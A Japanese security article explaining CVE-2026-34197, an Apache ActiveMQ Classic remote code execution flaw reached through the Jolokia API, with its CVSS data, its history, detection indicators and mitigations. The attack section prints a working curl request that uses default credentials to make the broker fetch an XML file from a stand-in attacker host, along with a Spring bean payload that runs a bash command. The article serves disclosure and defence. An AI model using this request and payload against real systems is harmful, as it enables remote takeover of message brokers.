Apache ActiveMQ Jolokia APIのRCE脆弱性CVE-2026-34197がCISA KEV入り、連邦機関に4/30修正期限

Apache ActiveMQ ClassicのRCE脆弱性 CVE-2026-34197（CVSS 8.8）が、2026年4月16日にCISAのKEV（Known Exploited Vulnerabilities、実際の攻撃で悪用されたことが確認された脆弱性のカタログ）に追加された。
連邦民間行政機関（FCEB）には2026年4月30日までの修正がBOD 22-01で義務付けられており、実際の悪用も確認済みだ。ActiveMQをインターネット側に公開している組織は、この2週間のうちに手を打つ必要がある。

この脆弱性はHorizon3.aiの研究者Naveen Sunkavally氏がClaude AIを活用して発見したもので、コードベースに13年間潜んでいたという。
AIで既存OSSのバグを掘り起こす流れは、Claude CodeによるLinuxカーネルNFSの23年越しバグ発見 や Claude Mythos Previewが数千件のゼロデイを掘り出した件、Anthropic公式のClaude Code Securityによる推論ベースの脆弱性検出 とひと続きの流れだ。複数コンポーネントをまたぐ複合バグを広く見渡せるAIの強みが、実プロダクトに残る古いバグに次々と刺さりはじめている。

KEV追加の全体動向は CISA KEVに4月13日追加された7件 や 3月20日追加のCraft CMS・Laravel等5件 でも整理している。自組織の棚卸し対象を拾う参考にしてほしい。

脆弱性の概要

項目	内容
CVE ID	CVE-2026-34197
CVSSスコア	8.8（HIGH）
CVSSベクター	AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-20（不適切な入力検証）、CWE-94（コードインジェクション）
影響製品	Apache ActiveMQ Classic（後継のArtemisは対象外）
影響バージョン	5.19.4未満、6.0.0〜6.2.2
修正バージョン	5.19.4、6.2.3
発見者	Horizon3.ai Naveen Sunkavally（Claude AIを併用）
KEV追加日	2026年4月16日
FCEB修正期限	2026年4月30日

CVSSベクターを読み解くと、ネットワーク経由（AV:N）で、攻撃の複雑度は低く（AC:L）、低権限アカウントがあれば成立する（PR:L）。ユーザー操作は不要で（UI:N）、成功すれば機密性・完全性・可用性のすべてに大きな影響が出る（C:H/I:H/A:H）。
要するに「インターネット側からログインさえ通ればJVMを取れる」類の脆弱性で、デフォルト認証情報 admin:admin が残っている環境なら実質的に一発で落ちる。

バージョン6.0.0〜6.1.1には別の脆弱性 CVE-2024-32114 が存在する。こちらはJolokia APIとWebコンソールが認証なしで公開される設定欠陥だ。
この範囲のバージョンを使っている場合、CVE-2026-34197 と組み合わさって 未認証RCE が成立する。ログイン不要でリモートからコマンド実行まで直行できる状態に化ける、と捉えてほしい。

ActiveMQまわりの登場人物

攻撃チェーンに入る前に、構成要素を並べておく。それぞれ単独では「あって当然の機能」だが、この組み合わせが攻撃シンクになる。

ActiveMQ Classic
Apache FoundationのJMS（Java Message Service）実装。マイクロサービス間の非同期通信、バッチキュー、システム間のイベントバスなどに広く組み込まれている。後継のActiveMQ Artemisは別コードベースで、今回の対象外だ。

JMX（Java Management Extensions）
Javaアプリの管理・監視用APIフレームワーク。ブローカーの操作、接続管理、メトリクス取得などを「MBean」（管理対象オブジェクト）として公開する。MBeanは ドメイン名:type=種別,属性=値 の形式で識別し、ActiveMQのブローカーは org.apache.activemq:type=Broker,brokerName=localhost のように見える。

Jolokia
JMXをHTTP/JSONブリッジに変換するOSSライブラリ。JMXはRMIベースで扱いづらいが、Jolokiaを噛ませるとREST APIライクに叩けるようになる。ActiveMQはデフォルトで /api/jolokia/ エンドポイントにこれを乗せている。
送信するJSONで type（read/write/exec など）、mbean、operation、arguments を指定するだけのシンプルな構造で、管理コンソールからもこのAPI経由でMBeanを操作している。

VMトランスポート
ActiveMQが持つインプロセス用のトランスポートで、vm://ブローカー名 という形式のURIを使うと同一JVM内にブローカーを起動・接続できる。通常はクライアントコードがテスト用途やローカルキュー用途で使うもので、外部から動的に生やす前提ではない。
VMトランスポートのURIは ?brokerConfig=... などのクエリパラメータで、起動するブローカーの設定ファイルURLを差し込める。今回はここがキモになる。

Spring xbeanスキーム
ActiveMQの設定ファイルは Spring のXMLコンテキストで記述できる。URLの xbean: スキームで指定すると、ActiveMQのBrokerFactory経由で ClassPathXmlApplicationContext が呼ばれ、指定URLからBean定義を読み込んでそのままインスタンス化する。
ローカルファイル（xbean:activemq.xml）を想定した機構だが、実装上はHTTP・HTTPS・FTPなどJavaのURLHandlerで解決できる任意のURLを受け付ける。つまりリモートのXMLを読ませられる。

攻撃の仕組み

脆弱性の起点は、Jolokia経由で到達できるMBeanオペレーション addNetworkConnector(String) にある。
Networkコネクターは本来、複数のActiveMQブローカーをメッシュ状に相互接続するための機能だ。URIを1つ渡すとそのURIのブローカーに接続しに行く。
問題は、このURIとして先ほど挙げた VMトランスポート + brokerConfig=xbean:... を組み合わせた文字列を食わせたときに起こる。

flowchart TD
    A[攻撃者] --> B[POST /api/jolokia/<br/>addNetworkConnector 操作]
    B --> C[URI: vm://rce?brokerConfig=<br/>xbean:http://attacker/payload.xml]
    C --> D[ActiveMQがVMトランスポートを解決<br/>brokerConfig のURLを取得]
    D --> E[xbean: スキームで<br/>Spring XMLコンテキストを生成]
    E --> F[Spring がBean定義を<br/>すべてインスタンス化]
    F --> G[MethodInvokingFactoryBean が<br/>Runtime.exec を呼び出し]
    G --> H[任意コマンド実行<br/>ブローカーJVM上で完結]

悪用リクエストの形はJolokiaのJSON RPCそのままで、特別なものではない。

curl -X POST http://TARGET:8161/api/jolokia/ \
  -H "Content-Type: application/json" \
  -u admin:admin \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "addNetworkConnector",
    "arguments": ["static:(vm://rce?brokerConfig=xbean:http://ATTACKER:8888/payload.xml)"]
  }'

攻撃者が用意する payload.xml はSpringのBean定義ファイルだ。Springはコンテキスト構築時にシングルトンBeanをeagerに（遅延なく）インスタンス化するため、ここに MethodInvokingFactoryBean を仕込んでおくと、Bean構築のタイミングで Runtime.exec() が走る。

<bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
  <property name="targetObject">
    <bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">
      <property name="targetClass" value="java.lang.Runtime"/>
      <property name="targetMethod" value="getRuntime"/>
    </bean>
  </property>
  <property name="targetMethod" value="exec"/>
  <property name="arguments">
    <list>
      <array value-type="java.lang.String">
        <value>/bin/bash</value>
        <value>-c</value>
        <value>COMMAND_HERE</value>
      </array>
    </list>
  </property>
</bean>

MethodInvokingFactoryBean は「任意クラスの任意メソッドを呼び、その戻り値をBeanとして登録する」Springの標準ユーティリティだ。外側のBeanで Runtime.getRuntime() の戻り値（Runtime インスタンス）を作り、それを内側のBeanのターゲットオブジェクトにしてから exec を呼ぶ、という二段構えで Runtime.getRuntime().exec(...) を合成している。
Bean初期化がそのまま任意コマンド実行のシンクに直通するため、コマンドはSpringのコンテキスト初期化中に即時実行される。そのあと createBroker 側は接続処理で失敗してエラーログを吐くが、もうコードは走り終わっている。
検知する側から見ると「接続失敗ログより先にシェルが起動している」状態になる。ログベースの検知を組むときは、この時系列の前後関係を踏まえておかないと取りこぼす。

CVE-2023-46604との関係

今回のCVE-2026-34197は、同じ攻撃シンクを別プロトコル側から踏みに行った変種というのが正確な位置づけだ。

項目	CVE-2023-46604	CVE-2026-34197
攻撃経路	OpenWireプロトコル（ポート61616）	Jolokia HTTP API（ポート8161）
認証	不要	必要（+CVE-2024-32114で不要化）
攻撃手順	偽造Throwable/Exceptionクラス名でSpring XMLをロード	addNetworkConnector 経由でVMトランスポート + xbean:
発火点	Spring ClassPathXmlApplicationContext	Spring ClassPathXmlApplicationContext（xbean: URL経由）
結末	Spring XMLのBean構築でRCE	Spring XMLのBean構築でRCE

攻撃経路は違うが、最後に踏む「Spring XMLをリモートから読ませてBean構築させる」シンクはまったく同じだ。2023年の修正時にOpenWireルートだけを塞ぎ、Jolokia/JMXルートからの到達可能性は残していた、という構造になる。パッチがプロトコルレイヤで止まり、共通のSpring XMLロードまでは潰せていなかったとも言える。

CVE-2023-46604のときはHelloKittyランサムウェアや暗号通貨マイナー、Kinsingボットネットなどがまとめて飛びつき、大規模な実被害が出た。CVE-2026-34197も同じエクスプロイトユーティリティを差し替えるだけで使い回せるため、ランサムウェアオペレーターが本腰を入れるのは時間の問題だろう。

なぜ13年間見つからなかったか

Horizon3.aiの解説によると、問題を構成する各コンポーネント（Jolokia API、JMXの addNetworkConnector、VMトランスポート、Spring xbeanコンテキスト読み込み）はそれぞれ単独では正常に機能する。攻撃パスが成立するのは、これらを vm://...?brokerConfig=xbean:http://... という1本のURIに連結したときだけで、個別のコードレビューや単体テストでは絶対に見えない構造だった。

研究者がClaudeを活用したのは、「前提を持たずにエンドツーエンドで到達可能パスを繋ぎ合わせる」用途だったという。人間のレビュアーは自分の担当コンポーネントを深掘りしがちで、隣のサブシステムに話が飛ぶとそこで思考が止まりやすい。AIは担当領域の偏りがない分、独立したサブシステムをまたぐ複合バグの探索で有利に働く。
Claude Code SecurityのAI推論ベース脆弱性検出 や OpenAI／ParadigmのEVMbench（AIがスマートコントラクトを自律悪用） など、同じ年にAIが古典的OSSから大量の脆弱性を掘り出している例が積み上がっており、今回のActiveMQはその流れの中の1件として素直に読める。

もう一つ、2022年に修正された CVE-2022-41678（WebコンソールからのJMX MBean悪用）のパッチ設計が、結果的にActiveMQのすべてのMBeanオペレーションを認証済みユーザーに広く許可する状態を作り出していた。本来なら悪用された特定MBeanだけを塞ぐべきだったが、修正範囲を狭く切り分けなかったために、今回悪用された addNetworkConnector のようなリスクあるオペレーションまで「認証さえ通ればOK」の側に残ってしまった。過去のセキュリティパッチが新しい脆弱性の温床を作っていた、という典型的なパターンだ。

脆弱性の系譜を時系列で並べるとこうなる。

年	出来事
2013	addNetworkConnector MBean操作がActiveMQに導入される（今回のバグの遺伝子が埋まる）
2022	CVE-2022-41678（Webコンソール経由のMBean悪用）修正。結果としてMBean全許可の条件が整う
2023	CVE-2023-46604（OpenWire経由のSpring XML RCE）が大規模に悪用される
2024	CVE-2024-32114（認証なしでJolokia/コンソール露出）発覚
2026	Claude併用調査でCVE-2026-34197発見・KEV追加。CVE-2024-32114との合わせ技で未認証RCEが成立

影響範囲と悪用状況

ActiveMQ Classicは基盤ミドルウェアとして組み込まれるケースが多く、JMSベースの非同期通信、マイクロサービス間イベントバス、バッチ処理キューなどが主戦場になる。業務システムのど真ん中に置かれていることが多いので、ここを取られるとキュー上のメッセージ窃取・改ざんにとどまらず、そのまま内部への横展開に繋がりやすい。

SAFE SecurityやShadowserverのレポートによれば、すでにJolokia管理エンドポイントを公開しているActiveMQインスタンスへのスキャンと悪用活動が観測されている。デフォルト認証情報 admin:admin をそのまま残している環境が一定数残っていることが、悪用成功率を押し上げている。
Shodanの検索では ActiveMQ Web コンソールが見える状態で晒されているホストが数千件規模で並んでおり、その奥には「インターネットからは見えないが、侵入済みの攻撃者から見れば到達可能」な内部公開インスタンスが相当数いるという想定を置いておくべきだ。

検知方法

ActiveMQのログ・ネットワーク・プロセスの3層で検知ポイントがある。

ActiveMQログ

• /api/jolokia/ への POST で、ボディに addNetworkConnector を含むもの
• 接続試行ログに vm:// と brokerConfig=xbean: が同時に出るもの
• BrokerFactory や xbean がリモートURL（http:// や https://）を解決して失敗したスタックトレース

ネットワーク

• ブローカーJVMから外部HTTP/HTTPSへの予期しないアウトバウンド接続
• ポート8161への外部からの不審なPOST（認証試行とセットで観察する）
• payload.xml のような単発XML取得だけでActiveMQ側から完結しているHTTP GET

プロセス

• Javaプロセスの子としてbash/sh/powershell/cmdなどが起動している
• ブローカーが通常書き込まないディレクトリへの新規ファイル生成（/tmp、/var/tmp、C:\Windows\Temp など）
• ブローカーJVMから curl / wget / certutil / bitsadmin が起動する

コマンド実行はSpringのBean初期化フェーズで発生するため、接続失敗ログよりもプロセス生成イベントのほうが時系列的に先に来る。EDRの検知ルールはプロセス生成起点で組むほうが取りこぼしが少ない。java.exe → cmd.exe のような親子関係はそもそも通常運用では出ないので、この線でルール化すれば無理なく刺さる。

対策

バージョンアップ（推奨）

• 5系なら 5.19.4 以降
• 6系なら 6.2.3 以降

パッチではVMトランスポートに対する addNetworkConnector の適用そのものが削除されている。「VMトランスポートに対してリモートから動的にネットワーク接続を足す、という操作はそもそも存在してはいけなかった」という整理で、機能を削るタイプの修正だ。運用側でVMトランスポートに対する動的コネクタ追加を使っていた例はほぼないはずで、互換性の懸念は小さい。

バージョンアップ前の暫定対応

• デフォルト認証情報 admin:admin を変更する（これだけでもかなりの環境を救える）
• Jolokia エンドポイント（通常ポート8161）をネットワーク境界で外部から到達不能にする
• Webコンソール自体が不要な環境では conf/jetty.xml で無効化する
• バージョン6.0.0〜6.1.1では CVE-2024-32114 も同時に塞ぐ（未認証RCEの前提を外す）
• 上記いずれも難しい場合は、WAF/リバースプロキシで addNetworkConnector を含む Jolokia POST をブロックする

インターネット直結構成はこの機会に見直しておきたい。ActiveMQ Classicはそもそも内部ネットワーク向けに使う前提の製品で、管理エンドポイントを外に出す運用には利点がない。JMX/Jolokia系のRCEは今後も出続けると想定して、境界の内側に閉じ込めておくのが現実的な落としどころだ。

参照情報

• Apache ActiveMQ Classic Security Advisories
• NVD: CVE-2026-34197
• Horizon3.ai 技術解説
• Help Net Security: Apache ActiveMQ RCE vulnerability discovered with Claude